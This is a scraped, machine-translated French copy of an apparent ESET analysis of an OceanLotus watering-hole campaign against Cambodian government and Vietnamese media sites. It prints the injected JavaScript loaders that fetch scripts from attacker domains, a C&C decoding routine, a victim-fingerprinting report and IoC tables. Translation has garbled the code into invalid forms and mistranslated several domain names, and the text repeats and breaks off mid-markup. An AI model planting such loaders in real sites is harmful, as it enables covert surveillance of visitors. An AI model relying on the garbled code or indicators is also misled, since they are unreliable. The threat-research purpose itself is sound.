+\nrpGyuSntLH2Ox5oVxTTUQB791WJByDjtKXYBHpIBrmePG1EcnTlfBhgHhpAeZEao\nhEXZ94it73j02h + JtQIDAQAB\n—–END PUBLIC KEY—–\n\t\t\t\t\t\t\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tMatthieu Faou\t\t\t\t\t\t\t\t20 novembre 2018 &#8211; 14h56\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\n\nClick to rate this post!\r\n                                   \r\n                               [Total: 0  Average: 0]","paragraphs":["Les chercheurs d&#39;ESET ont identifié 21 sites Web distincts qui avaient été compromis, notamment des sites gouvernementaux et médiatiques particulièrement remarquables.","Les chercheurs de ESET ont découvert une nouvelle campagne de points d’arrosage ciblant plusieurs sites Web en Asie du Sud-Est et qui aurait été active depuis septembre 2018. Cette campagne se distingue par son ampleur, car nous avons pu identifier 21 sites Web compromis, dont certains qui sont particulièrement remarquables. Parmi les sites Web compromis figuraient le ministère de la Défense du Cambodge, le ministère des Affaires étrangères et de la Coopération internationale du Cambodge et plusieurs sites Web de journaux ou de blogs vietnamiens.\nAprès une analyse approfondie, nous sommes convaincus que cette campagne est menée par le groupe OceanLotus. [1], également appelé APT32 [2] et APT-C-00. OceanLotus est un groupe d&#39;espionnage actif depuis au moins 2012 [3], principalement intéressé par les gouvernements étrangers et les dissidents.\nCette campagne serait une évolution de ce que les chercheurs de Volexity ont appelé OceanLotus Framework B, un système de points d’eau qu’ils ont documenté en 2017. [4]. Cependant, les attaquants ont intensifié leur jeu pour compliquer et ralentir l&#39;analyse de leur infrastructure malveillante. Parmi les différentes améliorations, ils ont commencé à utiliser la cryptographie à clé publique pour échanger une clé de session AES, utilisée pour chiffrer d&#39;autres communications, empêchant ainsi les produits de sécurité d&#39;intercepter la charge finale. Ils sont également passés de HTTP à WebSocket pour masquer leurs communications malveillantes.\nLes chercheurs d&#39;ESET ont identifié 21 sites Web distincts qui avaient été compromis, chacun étant redirigé vers un domaine distinct contrôlé par les attaquants.\nLa figure 1 montre la région ciblée par cette campagne.","Figure 1 &#8211; Emplacement des sites Web compromis","La plupart des domaines compromis sont liés aux médias ou au gouvernement cambodgien. Le tableau suivant détaille les différentes victimes. Nous les avons tous informés en octobre, mais la plupart d&#39;entre eux sont encore en train d&#39;injecter des scripts malveillants au moment de la rédaction, deux mois après le premier compromis. Ainsi, nous vous encourageons ne pas visiter ces sites.","Domaine compromis\nLa description","baotgm[.]net\nMédia en vietnamien (basé à Arlington, Texas)","cnrp7[.]org\nCambodge National Rescue Party","conggiaovietnam[.]net\nEn rapport avec la religion &#8211; en vietnamien","daichungvienvinhthanh[.]com\nEn rapport avec la religion &#8211; en vietnamien","danchimviet[.]Info\nMédias en vietnamien","danviet[.]vn\nMédias en vietnamien","Danviethouston[.]com\nMédias en vietnamien","fvpoc[.]org\nAnciens prisonniers d&#39;opinion vietnamiens","club de jardinage[.]com\nClub de golf à Phnom Penh, Royaume du Cambodge","lienketqnhn[.]org\nMédias en vietnamien","mfaic.gov[.]kh\nMinistère des affaires étrangères et de la coopération internationale du Cambodge","mod.gov[.]kh\nMinistère de la Défense du Cambodge","mtgvinh[.]net\nEn rapport avec la religion &#8211; en vietnamien","nguoitieudung.com[.]vn\nMédias en vietnamien","phnompenhpost[.]com\nJournal cambodgien en anglais","raovatcalitoday[.]com\nInconnu &#8211; En vietnamien","thongtinchongphandong[.]com\nMédias de l&#39;opposition en vietnamien","tinkhongle[.]com\nMédias en vietnamien","toithichdoc.blogspot[.]com\nBlog en vietnamien","trieudaiviet[.]com\nInconnu &#8211; En vietnamien","triviet[.]nouvelles\nMédias en vietnamien","Tableau 1 &#8211; Description des sites Web compromis\nEn règle générale, lors d’une attaque à l’eau vive, les adversaires compromettent des sites Web régulièrement visités par des cibles potentielles. Cependant, lors de cette attaque, OceanLotus a également été en mesure de compromettre certains sites Web qui attirent un grand nombre de visiteurs en général, et pas seulement leurs cibles présumées. Le tableau ci-dessous présente le rang Alexa au moment de la rédaction (plus le rang est bas, plus il est fréquenté) des sites Web compromis. Par exemple, ils ont compromis le site Web du journal Dan Viet (danviet[.]vn), qui est le 116th site le plus visité au Vietnam.","Domaine\nRang Alexa (global)\nRang Alexa (dans le pays le plus populaire)","danviet[.]vn\n12 887\n116","phnompenhpost[.]com\n85 910\n18 880","nguoitieudung.com[.]vn\n261 801\n2 397","danchimviet[.]Info\n287,852\n144 884","baotgm[.]net\n675,669\n119 737","toithichdoc.blogspot[.]com\n700 470\n11 532","mfaic.gov[.]kh\n978,165\n2 149","conggiaovietnam[.]net\n1 040 548\n15 368","thongtinchongphandong[.]com\n1 134 691\n21 575","tinkhongle[.]com\n1 301 722\n15 224","daichungvienvinhthanh[.]com\n1 778 418\n23 428","triviet[.]nouvelles\n2 767 289\nIndisponible","mod.gov[.]kh\n4 247 649\n3 719","raovatcalitoday[.]com\n8.180.358\nIndisponible","cnrp7[.]org\n8 411 693\nIndisponible","mtgvinh[.]net\n8,415,468\nIndisponible","Danviethouston[.]com\n8 777 564\nIndisponible","lienketqnhn[.]org\n16 109 635\nIndisponible","club de jardinage[.]com\n16 109 635\nIndisponible","trieudaiviet[.]com\n16 969 048\nIndisponible","fvpoc[.]org\nIndisponible\nIndisponible","Tableau 2 &#8211; Rang Alexa des sites Web compromis\nLe mode de fonctionnement est similaire sur tous les sites Web compromis. Les attaquants ajoutent un petit morceau de code JavaScript dans la page d&#39;index ou dans un fichier JavaScript hébergé sur le même serveur. Le morceau de code de la figure 2, légèrement obscurci, charge ensuite un autre script à partir d&#39;un serveur contrôlé par les attaquants. Le code suivant, ajouté dans https://www.mfaic.gov[.]kh / wp-content / themes / ministère des affaires étrangères / slick / slick.min.js, chargera le fichier de https: //weblink.selfip[.]info / images / cdn.js? from = maxcdn.","(une fonction()\n    var pt = &quot;http&quot;;\n    var l = document.createElement (&#39;script&#39;);\n    l.src = pt + &quot;s: //&quot; + arguments[0] + arguments[2] + arguments[3] + &#39;ip.&#39; + &#39;info / images / cdn.js? from = maxcdn&#39;;\n    document.getElementsByTagName (&#39;body&#39;)[0].appendChild (l)\n) (&#39;web&#39;, &#39;a&#39;, &#39;link&#39;, &#39;.self&#39;);","(une fonction() \n    var pt = &quot;http&quot;;\n    var l = document.createElement(&#39;scénario&#39;);\n    l.src = pt + &quot;s: //&quot; + arguments[[[[0] + arguments[[[[2] + arguments[[[[3] + &#39;ip.&#39; + &#39;info / images / cdn.js? from = maxcdn&#39;;\n    document.getElementsByTagName(&#39;corps&#39;)[[[[0].appendChild(l)\n)(&#39;web&#39;, &#39;une&#39;, &#39;lien&#39;, &#39;.soi&#39;);","Figure 2 &#8211; Morceau de code JavaScript ajouté à mfaic.gov[.]kh\nPour échapper à la détection, ils prennent les mesures suivantes:","Ils masquent les scripts pour empêcher l&#39;extraction statique de l&#39;URL finale.\nL&#39;URL ressemble à une véritable bibliothèque JavaScript utilisée par le site Web.\nIls utilisent un domaine et un URI différents par site Web compromis.\nLe script est différent pour chaque site Web compromis. Le code suivant est le script inséré dans un autre site Web compromis:","var script = document.createElement (&quot;script&quot;);\nvar i = &#39;crash-course&#39;;\nvar s = &quot;fzgbc saitztall znfo&quot;;\nvar _ = &#39;/&#39;;\nvar e = &quot;VisitorIdentification.js? sa =&quot; + i;\nscript.async = true;\nscript.src = &quot;http://www.welivesecurity.com/htt&quot; + &quot;ps:&quot; + _ + _ + s.split (&quot;&quot;) .map (x =&gt; x.replace (&quot;z&quot;, &quot;i &quot;)). join (&quot;. &quot;) + _ + e;\nvar doc = document.getElementsByTagName (&#39;script&#39;)[0];\ndoc.parentNode.insertBefore (script, doc);","var scénario = document.createElement(&quot;scénario&quot;);\nvar je = «cours intensif»;\nvar s = &quot;fzgbc saitztall znfo&quot;;\nvar _ = &#39;/&#39;;\nvar e = &quot;VisitorIdentification.js? Sa =&quot; + je;\nscénario.async = vrai;\nscénario.src = &quot;http://www.welivesecurity.com/htt&quot; + &quot;ps:&quot; + _ + _ + s.Divisé(&quot;&quot;).carte(X =&gt; X.remplacer(&quot;z&quot;, &quot;je&quot;)).joindre(&quot;.&quot;) + _ + e;\nvar doc = document.getElementsByTagName(&#39;scénario&#39;)[[[[0];\ndoc.parentNode.insérerAvant(scénario, doc);","Figure 3 &#8211; Un autre morceau de JavaScript inséré dans un site Web ciblé\nPremière étape\nEn fonction de l&#39;emplacement de l&#39;adresse IP du visiteur, le serveur de la première étape, par ex. weblink.selfip[.]info pour mfaic.gov[.]kh, fournit un script leurre (une bibliothèque JavaScript légitime et aléatoire) ou le script de première étape (SHA-1: 2194271C7991D60AE82436129D7F25C0A689050A, par exemple). Tous les serveurs ne disposent pas d&#39;un contrôle d&#39;emplacement, mais lorsqu&#39;il est activé, seuls les visiteurs du Vietnam et du Cambodge reçoivent le script malveillant.\nLe script de la première étape contient plusieurs contrôles pour échapper à la détection, comme illustré à la figure 4.","[…]\nfonction t (n)\n    var r = this;\n    ! function (t, n)\n        si (! (t instanceof n))\n            throw new TypeError (&#39;Impossible d&#39;appeler une classe en tant que fonction&#39;);\n     (this, t), this.t =\n        o: null,\n        s:! 0\n    , this.scr =! 0, this.r (), this.i =! 0, window.addEventListener (&#39;scroll&#39;, fonction () );\nretourne t.prototype.r = function ()\n    var t = this;\n    setInterval (function ()  r)? (t.t. =! 1, t.t.o = null): (t.t.s =! 0, t.o.e = e);\n    , 500);\n […]","1\n2\n3\n4\n5\n6\n7\n8\n9\ndix\n11\n12\n13\n14\n15\n16\n17\n18\n19\n20\n21","[[[[…]\nune fonction t(n) \n    var r = cette;\n    !une fonction (t, n) \n        si (!(t exemple de n))\n            jeter Nouveau Erreur-type(&#39;Impossible d&#39;appeler une classe en tant que fonction&#39;);\n    (cette, t), cette.t = \n        o: nul,\n        s: !0\n    , cette.scr = !0, cette.r(), cette.je = !0, fenêtre.addEventListener(&#39;faire défiler&#39;, une fonction ()  r.scr &amp;&amp; !r.t.s &amp;&amp; (r.scr = !1, r.c(n)), r.je = !1;\n    );","revenir t.prototype.r = une fonction () \n    var t = cette;\n    setInterval(une fonction () \n        var n = fenêtre.largeur extérieure &#8211; fenêtre.largeur intérieure &gt; 160, r = fenêtre.outerHeight &#8211; fenêtre.taille intérieure &gt; 160, e = n ? &#39;verticale&#39; : &#39;horizontal&#39;;\n        r &amp;&amp; n , 500);","[[[[…]","Figure 4 &#8211; Charge utile JavaScript de la première étape\nLe script attendra que la victime défile sur la page. Il vérifie également la résolution de la fenêtre et détermine si Firebug, une extension de navigateur utilisée pour analyser des pages Web, est activé. Si l&#39;une des vérifications échoue, l&#39;exécution est interrompue.\nEnsuite, il déchiffre le domaine Command &amp; Control à l&#39;aide d&#39;un algorithme personnalisé. Par exemple, 3B37371M1B1B382R332V1A382W36392W2T362T1A322T38 sera déchiffré à wss: //tcog.thruhere[.]net. Pour chaque domaine de premier étage, les attaquants enregistrent également un domaine de deuxième étage différent, chacun hébergé sur un serveur différent. Le code de la figure 5 est un équivalent, en Python, de la fonction de déchiffrement.","def decrypt (encrypted_url):\ns = &quot;0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ&quot;\nreturn &quot;&quot; .join (chr (s.index (encrypted_url[e]) * 36 + s.index (encrypted_url[e+1])) pour e dans la plage (0, len (encrypted_url), 2))","def décrypter(encrypted_url):\n\ts = &quot;0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ&quot;\n\trevenir &quot;&quot;.joindre(chr(s.indice(encrypted_url[[[[e]) * 36 + s.indice(encrypted_url[[[[e+1])) pour e dans intervalle(0,len(encrypted_url),2))","Figure 5 &#8211; Code Python pour décrypter les serveurs C &amp; C\nUne fois l&#39;adresse C &amp; C déchiffrée, le script envoie une chaîne unique de 15 chiffres, puis reçoit et exécute un script de deuxième étape. Toutes les communications sont effectuées via WebSocket sur SSL. Ce protocole permet une communication en duplex intégral entre un client et un serveur. Cela signifie que, une fois que le client établit une connexion, un serveur peut envoyer des données au client même si le client n&#39;a pas envoyé de demande. Cependant, dans ce cas particulier, l’utilisation des sockets Web semble avoir pour principal objectif d’éviter la détection.\nDeuxième étape\nLe script de deuxième étape est en fait un script de reconnaissance. Les développeurs OceanLotus ont réutilisé la bibliothèque fingerprintjs2 de Valve, disponible sur GitHub, en la modifiant légèrement afin d’ajouter une communication réseau et un rapport personnalisé.\nLa figure 6 décrit les différentes actions exécutées par le script. Toutes les communications passent par la session WebSocket ouverte par la première étape.","Figure 6 &#8211; Flux de la charge utile de la deuxième étape","La communication est cryptée à l&#39;aide d&#39;une clé de session AES, générée par le serveur. Il est crypté avec une clé publique RSA 1024 bits et envoyé au client. Ainsi, il n&#39;est pas possible de décrypter les communications entre le client et le serveur.\nEn comparaison avec les précédentes itérations de leur structure de points d’arrosage, cela rendra les choses beaucoup plus difficiles pour les défenseurs, car les données envoyées sur le réseau ne peuvent pas être détectées puis déchiffrées. Cela empêchera la détection réseau des données. La clé publique envoyée par le serveur est toujours la même et est disponible dans la section IoC.\nCe script de reconnaissance crée un rapport, semblable à celui présenté ci-dessous, et l&#39;envoie au serveur C &amp; C de deuxième étape.","{\n  &quot;histoire&quot;:\n    &quot;client_title&quot;: &quot;Ministry% 20of% 20Forign% 20Affairs% 20and% 20International% 20Cooperation% 20-&quot;,\n    &quot;client_url&quot;: &quot;https://www.mfaic.gov.kh/&quot;,\n    &quot;client_cookie&quot;: &quot;&quot;,\n    &quot;client_hash&quot;: &quot;&quot;,\n    &quot;client_referrer&quot;: &quot;https://www.mfaic.gov.kh/foreign-ngos&quot;,\n    &quot;client_platform_ua&quot;: &quot;Mozilla / 5.0 (Windows NT 6.1; Win64; x64) AppleWebKit / 537.36 (KHTML, comme Gecko) Chrome / 68.0.3440.106 Safari / 537.36&quot;,\n    &quot;client_time&quot;: &quot;2018-10-21T12: 43: 25.254Z&quot;,\n    &quot;fuseau horaire&quot;: &quot;Asie / Bangkok&quot;,\n    &quot;client_network_ip_list&quot;: [\n      « 192.168.x.x »,\n      « x.x.x.x »\n    ],\n    &quot;client_api&quot;: &quot;wss: //tcog.thruhere.net/&quot;,\n    &quot;client_zuuid&quot;: &quot;defaultcommunications39e10c84a0546508c58d48ae56ab7c7eca768183e640a1ebbb0cceaef0bd07cedefaultcommunications9360af458bb80c43fd1f73190b80b80bc6d45\n    &quot;client_uuid&quot;: &quot;a612cdb028e1571dcab18e4aa316da26&quot;\n  ,\n  &quot;navigateur&quot;: {\n    &quot;plugins&quot;:\n      &quot;activex&quot;: false,\n      &quot;cors&quot;: vrai,\n      &quot;flash&quot;: faux,\n      &quot;java&quot;: faux,\n      &quot;foxit&quot;: vrai,\n      &quot;phonegap&quot;: faux,\n      &quot;quicktime&quot;: faux,\n      &quot;realplayer&quot;: faux,\n      &quot;silverlight&quot;: faux,\n      &quot;touch&quot;: faux,\n      &quot;vbscript&quot;: false,\n      &quot;vlc&quot;: false,\n      &quot;webrtc&quot;: true,\n      &quot;wmp&quot;: false\n    ,\n    &quot;_écran&quot;:\n      &quot;largeur&quot;: 1920,\n      &quot;hauteur&quot;: 1080,\n      &quot;availWidth&quot;: 1920,\n      &quot;availHeight&quot;: 1080,\n      &quot;résolution&quot;: &quot;1920&#215;1080&quot;\n    ,\n &quot;_plugins&quot;: [\n[&#8230;]","1\n2\n3\n4\n5\n6\n7\n8\n9\ndix\n11\n12\n13\n14\n15\n16\n17\n18\n19\n20\n21\n22\n23\n24\n25\n26\n27\n28\n29\n30\n31\n32\n33\n34\n35\n36\n37\n38\n39\n40\n41\n42\n43\n44","{\n  &quot;histoire&quot;: \n    &quot;client_title&quot;: &quot;Ministère% 20de% 20Freign% 20Affaires% 20et% 20International% 20Coopération% 20-&quot;,\n    &quot;client_url&quot;: &quot;https://www.mfaic.gov.kh/&quot;,\n    &quot;client_cookie&quot;: &quot;&quot;,\n    &quot;client_hash&quot;: &quot;&quot;,\n    &quot;client_referrer&quot;: &quot;https://www.mfaic.gov.kh/foreign-ngos&quot;,\n    &quot;client_platform_ua&quot;: &quot;Mozilla / 5.0 (Windows NT 6.1; Win64; x64) AppleWebKit / 537.36 (KHTML, comme Gecko) Chrome / 68.0.3440.106 Safari / 537.36&quot;,\n    &quot;client_time&quot;: &quot;2018-10-21T12: 43: 25.254Z&quot;,\n    &quot;fuseau horaire&quot;: &quot;Asie / Bangkok&quot;,\n    &quot;client_network_ip_list&quot;: [[[[\n      &quot;192.168.x.x&quot;,\n      &quot;x.x.x.x&quot;\n    ],\n    &quot;client_api&quot;: &quot;wss: //tcog.thruhere.net/&quot;,\n    &quot;client_zuuid&quot;: &quot;defaultcommunications39e10c84a0546508c58d48ae56ab7c7eca768183e640a1ebbb0cceaef0bd07cedfaunefautfecommunication9360af458bb80c43fd1f73190b80dbfb0b27bcbbbbbbbbbbbbbbbbbbbbbbbcc0f0bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbcc,\n    &quot;client_uuid&quot;: &quot;a612cdb028e1571dcab18e4aa316da26&quot;\n  ,\n  &quot;navigateur&quot;: {\n    &quot;plugins&quot;: \n      &quot;activex&quot;: faux,\n      &quot;cors&quot;: vrai,\n      &quot;flash&quot;: faux,\n      &quot;Java&quot;: faux,\n      &quot;foxit&quot;: vrai,\n      &quot;phonegap&quot;: faux,\n      &quot;Quick Time&quot;: faux,\n      &quot;vrai joueur&quot;: faux,\n      &quot;silverlight&quot;: faux,\n      &quot;toucher&quot;: faux,\n      &quot;vbscript&quot;: faux,\n      &quot;vlc&quot;: faux,\n      &quot;webrtc&quot;: vrai,\n      &quot;wmp&quot;: faux\n    ,\n    &quot;_écran&quot;: \n      &quot;largeur&quot;: 1920,\n      &quot;la taille&quot;: 1080,\n      &quot;availWidth&quot;: 1920,\n      &quot;availHeight&quot;: 1080,\n      &quot;résolution&quot;: &quot;1920&#215;1080&quot;\n    ,\n &quot;_plugins&quot;: [[[[\n[[[[...]","Figure 7 &#8211; Rapport d&#39;empreinte digitale\nCe rapport est presque identique au rapport généré par OceanLotus Framework B, documenté par les chercheurs de Volexity en 2017. Les différentes sections sont similaires et incluent des fautes de frappe identiques. Grâce à ces similitudes et à la localisation des cibles, nous sommes confiants que OceanLotus dirigera cette campagne.\nLe rapport généré contient des informations détaillées sur le navigateur de la victime et le site Web visité: l’agent utilisateur, le référent HTTP, les adresses IP locale et externe, le navigateur ajoute les préférences de langue configurées du navigateur.\nDe plus, il y a deux identifiants uniques par machine, appelés client_zuuid et client_uuid. Ils sont probablement utilisés pour identifier les utilisateurs et les suivre d&#39;une visite à l&#39;autre. En réalité, ces identifiants étaient déjà présents dans la version 2017 du framework et client_uuid a été calculé de manière similaire.\nle client_zuuid est la concaténation des différentes valeurs deviceId contenues dans navigator.mediaDevices.enumerateDevices. Les périphériques sont les périphériques externes accessibles au navigateur, tels que les caméras ou les microphones. Ainsi, cette valeur doit être la même pour un utilisateur donné lors de ses différentes visites à partir du même ordinateur.\nle client_uuid est un hachage MD5 de certaines informations d’empreintes digitales extraites par fingerprintjs2. Parmi les informations collectées figurent l&#39;agent utilisateur du navigateur, la langue, le fuseau horaire, les plug-ins du navigateur et les polices disponibles dans le navigateur. Là encore, cette valeur doit être identique pour toutes les visites, sauf si, par exemple, l&#39;utilisateur met à jour le navigateur ou utilise un périphérique différent.\nEnfin, le serveur peut envoyer du code JavaScript supplémentaire à l&#39;ordinateur victime, probablement la charge réelle. Malheureusement, en raison de l&#39;utilisation d&#39;une clé de session AES pour chiffrer les communications, nous n&#39;avons pas été en mesure d&#39;identifier des exemples dans la nature de charges utiles envoyées par les attaquants. De plus, les charges utiles ne sont livrées qu&#39;à des cibles spécifiques. Ainsi, il n&#39;était pas possible de les obtenir en utilisant une machine de test. Toutefois, selon des rapports antérieurs, ces campagnes de points d’arrosage d’OceanLotus ont pour objectif de phish ses victimes. Par exemple, Volexity a signalé qu’une fenêtre contextuelle demandant aux utilisateurs d’approuver l’accès OAuth au compte Google de la victime pour une application Google OceanLotus était affichée. En utilisant cette technique, les attaquants peuvent accéder aux contacts et aux courriels de la victime.\nAfin d&#39;être le plus furtif possible, les opérateurs OceanLotus ont enregistré un domaine de premier et un deuxième domaines par site Web compromis. Chaque domaine est hébergé sur un serveur distinct avec une adresse IP distincte. Ils ont enregistré au moins 50 domaines et 50 serveurs pour cette campagne.\nBien que la plupart des domaines de la première étape aient été enregistrés sur des services de noms de domaine gratuits, la plupart des domaines de la deuxième étape sont des noms de domaine payants. Ils imitent également les sites Web authentiques afin de paraître légitimes. Le tableau 3 montre certains services imités par les attaquants.","Domaine C &amp; C\nDomaine légitime","cdn-ampproject[.]com\ncdn.ampproject.com","bootstraplink [.]com\ngetbootstrap.com","sskimresources[.]com\ns.skimresources.com","widgets-wp[.]com\nwidgets.wp.com","Tableau 3 &#8211; Sites Web légitimes imités par les attaquants\nLe nombre de domaines utilisés et leur similarité avec les sites Web légitimes les rendent probablement plus difficiles à détecter par un œil humain regardant le trafic réseau.\nMalgré le suivi actif de nombreux chercheurs, le groupe OceanLotus est toujours très occupé à attaquer des cibles en Asie du Sud-Est. Ils améliorent également régulièrement leur ensemble d’outils, y compris leur infrastructure de points d’arrosage et leurs programmes malveillants Windows et MacOS. Les mises à jour récentes apportées à la structure de points d’arrosage, décrites dans ce blog, témoignent d’un niveau de sophistication sans précédent pour OceanLotus. Ceci est un autre rappel que ce groupe APT doit être suivi de près.\nAfin de limiter le nombre de victimes, nous avons averti chaque propriétaire de site Web compromis et expliqué comment supprimer le code JavaScript malveillant, bien que certains semblent très réticents à être informés ou aidés.\nLes chercheurs de ESET continueront à suivre tout développement de l&#39;ensemble d&#39;outils OceanLotus. Des indicateurs de compromis peuvent également être trouvés sur GitHub. Pour toute demande de renseignements ou pour soumettre des échantillons de sujets liés au sujet, contactez-nous à l&#39;adresse suivante :umpintel@eset.com.\n[1]                    ESET Research, «OceanLotus: techniques anciennes, nouvelle porte dérobée», 03 2018. [Online]. Disponible à l&#39;adresse suivante: https://www.welivesecurity.com/wp-content/uploads/2018/03/ESET_OceanLotus.pdf.\n[2]                    N. Carr, «Le cyberespionnage se porte bien: APT32 et la menace pour les entreprises mondiales», FireEye, 14.05.2017. [Online]. Disponible à l’adresse: https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html.\n[3]                    Sky Eye Lab, «Résumé du rapport OceanLotus APT», 29 05 2015. [Online]. Disponible à l&#39;adresse suivante: http://blogs.360.cn/post/oceanlotus-apt.html.\n[4]                    S. K. S. Dave Lassalle, «OceanLotus Blossoms: surveillance numérique massive et attaques ciblant l&#39;ANASE, les nations asiatiques, les médias, les groupes de défense des droits humains et la société civile», Volexity, 06-11 2017. [Online]. Disponible: https://www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance-and-exploitation-of-asean-nations-the-media-human-rights-and- société civile/.\nIndicateurs de compromis (IoC)\nDes dossiers","La description\nSHA-1\nSHA-256\nNom de la détection","Script de première étape\n2194271C7991D60AE82436129D7F25C0A689050A\n1EDA0DE280713470878C399D3FB6C331BA0FADD0BD9802ED98AE06218A17F3F7\nJS / Agent.NYQ","Scénario de deuxième étape\n996D0AC930D2CDB16EF96EDC27D9D1AFC2D89CA8\n8B824BE52DE7A8723124BAD5A45664C574D6E905F300C35719F1E6988887BD62\nJS / Agent.NYR","Réseau IoC","Site compromis\n1ère étape\nadresse IP\n2ème étape\nadresse IP","baotgm[.]net\narabica.podzone[.]net\n178.128.103.24\n10cm.mypets[.]ws\n178.128.100.189","cnrp7[.]org\nutagscript[.]com\n206.189.88.50\noptnmstri[.]com\n159.65.134.146","conggiaovietnam[.]net\nlcontacts.servebbs[.]net\n178.128.219.207\nimgincapsula[.]com\n209.97.164.158","daichungvienvinhthanh[.]com\nsskimresources[.]com\n178.128.90.102\nsecure-imrworldwide[.]com\n178.128.90.109","danchimviet[.]Info\nwfpscripts.homeunix[.]com\n178.128.223.102\ncdn-ampproject[.]com\n178.128.24.201","danviet[.]vn\ncdnscr.thruhere[.]net\n178.128.98.139\nio.blogsite[.]org\n178.128.98.89","Danviethouston[.]com\nvotre-ip.getmyip[.]com\n178.128.103.74\n[Unknown]\n[Unknown]","fvpoc[.]org\ngui.dnsdojo[.]net\n178.128.28.93\ncnnazure[.]com\n209.97.164.96","club de jardinage[.]com\nfigbc.knowsitall[.]Info\n178.128.103.207\nichefbcci.is-a-chef[.]com\n206.189.85.162","lienketqnhn[.]org\nconseils-renouveler.webhop[.]Info\n159.65.7.45\ncyhire.cechire[.]com\n178.128.103.79","mfaic.gov[.]kh\nweblink.selfip[.]Info\n178.128.103.202\ntcog.thruhere[.]net\n178.128.107.83","mfaic.gov[.]kh\ns0-2mdn[.]net\n104.248.144.178\np-typekit[.]com\n104.248.144.136","mod.gov[.]kh\nstatic.tagscdn[.]com\n206.189.95.214\npagefairjs[.]com\n159.65.137.109","mtgvinh[.]net\nmetacachecdn[.]com\n178.128.209.153\nbootstraplink[.]com\n159.65.129.241","nguoitieudung.com[.]vn\ns-adroll[.]com\n128.199.159.127\njoueur-cnevids[.]com\n128.199.159.60","phnompenhpost[.]com\ntiwimg[.]com\n206.189.89.121\ntiqqcdn[.]com\n206.189.47.116","raovatcalitoday[.]com\nwidgets-wp[.]com\n178.128.90.107\ncdn-tynt[.]com\n142.93.75.192","thongtinchongphandong[.]com\nlb-web-stat[.]com\n159.65.128.57\nbenchtag2[.]com\n178.128.90.108","tinkhongle[.]com \ncdn1.shacknet[.]nous\n142.93.127.120\nscdn-cxense[.]com\n142.93.75.161","toithichdoc.blogspot[.]com\nassets-cdn.blogdns[.]net\n178.128.28.89\ncart.gotdns[.]com\n206.189.145.242","trieudaiviet[.]com\nhtml5.endofinternet[.]net\n178.128.90.182\neffeto-azur[.]net\n142.93.71.92","triviet[.]nouvelles\nds-aksb-a.likescandy[.]com\n159.65.137.144\nlabs-apnic[.]net\n178.128.90.138","[Unknown]\npixel1.dnsalias[.]net\n142.93.116.157\nad-appier[.]com\n178.128.90.66","[Unknown]\ntrc.webhop[.]net\n178.128.90.223\nstatique-addtoany[.]com\n142.93.75.172","[Unknown]\nnav.neat-url[.]com\n178.128.103.205\nstraits-times.is-an-actor[.]com\n178.128.107.24","Clé publique RSA envoyée par le serveur\n—–BEGIN PUBLIC KEY—–\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDI8O2kXpKec4MBVeF2g86GtT2X\n/ ABJB2M + urEvxJStRuL / + u / a9oJ6XL4JTFceYqJiSsXvwD / wDfgI00zCdmJ7xgw +\nrpGyuSntLH2Ox5oVxTTUQB791WJByDjtKXYBHpIBrmePG1EcnTlfBhgHhpAeZEao\nhEXZ94it73j02h + JtQIDAQAB\n—–END PUBLIC KEY—–\n\t\t\t\t\t\t\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tMatthieu Faou\t\t\t\t\t\t\t\t20 novembre 2018 &#8211; 14h56","Click to rate this post!\n                                   \n                               [Total: 0  Average: 0]"],"content_blocks":[{"id":"text-1","type":"text","heading":"","plain_text":"Les chercheurs d&#39;ESET ont identifié 21 sites Web distincts qui avaient été compromis, notamment des sites gouvernementaux et médiatiques particulièrement remarquables.","html":"<p>Les chercheurs d&#039;ESET ont identifié 21 sites Web distincts qui avaient été compromis, notamment des sites gouvernementaux et médiatiques particulièrement remarquables.</p>"},{"id":"text-2","type":"text","heading":"","plain_text":"Les chercheurs de ESET ont découvert une nouvelle campagne de points d’arrosage ciblant plusieurs sites Web en Asie du Sud-Est et qui aurait été active depuis septembre 2018. Cette campagne se distingue par son ampleur, car nous avons pu identifier 21 sites Web compromis, dont certains qui sont particulièrement remarquables. Parmi les sites Web compromis figuraient le ministère de la Défense du Cambodge, le ministère des Affaires étrangères et de la Coopération internationale du Cambodge et plusieurs sites Web de journaux ou de blogs vietnamiens.\nAprès une analyse approfondie, nous sommes convaincus que cette campagne est menée par le groupe OceanLotus. [1], également appelé APT32 [2] et APT-C-00. OceanLotus est un groupe d&#39;espionnage actif depuis au moins 2012 [3], principalement intéressé par les gouvernements étrangers et les dissidents.\nCette campagne serait une évolution de ce que les chercheurs de Volexity ont appelé OceanLotus Framework B, un système de points d’eau qu’ils ont documenté en 2017. [4]. Cependant, les attaquants ont intensifié leur jeu pour compliquer et ralentir l&#39;analyse de leur infrastructure malveillante. Parmi les différentes améliorations, ils ont commencé à utiliser la cryptographie à clé publique pour échanger une clé de session AES, utilisée pour chiffrer d&#39;autres communications, empêchant ainsi les produits de sécurité d&#39;intercepter la charge finale. Ils sont également passés de HTTP à WebSocket pour masquer leurs communications malveillantes.\nLes chercheurs d&#39;ESET ont identifié 21 sites Web distincts qui avaient été compromis, chacun étant redirigé vers un domaine distinct contrôlé par les attaquants.\nLa figure 1 montre la région ciblée par cette campagne.","html":"<p>Les chercheurs de ESET ont découvert une nouvelle campagne de points d’arrosage ciblant plusieurs sites Web en Asie du Sud-Est et qui aurait été active depuis septembre 2018. Cette campagne se distingue par son ampleur, car nous avons pu identifier 21 sites Web compromis, dont certains qui sont particulièrement remarquables. Parmi les sites Web compromis figuraient le ministère de la Défense du Cambodge, le ministère des Affaires étrangères et de la Coopération internationale du Cambodge et plusieurs sites Web de journaux ou de blogs vietnamiens.\nAprès une analyse approfondie, nous sommes convaincus que cette campagne est menée par le groupe OceanLotus. [1], également appelé APT32 [2] et APT-C-00. OceanLotus est un groupe d&#039;espionnage actif depuis au moins 2012 [3], principalement intéressé par les gouvernements étrangers et les dissidents.\nCette campagne serait une évolution de ce que les chercheurs de Volexity ont appelé OceanLotus Framework B, un système de points d’eau qu’ils ont documenté en 2017. [4]. Cependant, les attaquants ont intensifié leur jeu pour compliquer et ralentir l&#039;analyse de leur infrastructure malveillante. Parmi les différentes améliorations, ils ont commencé à utiliser la 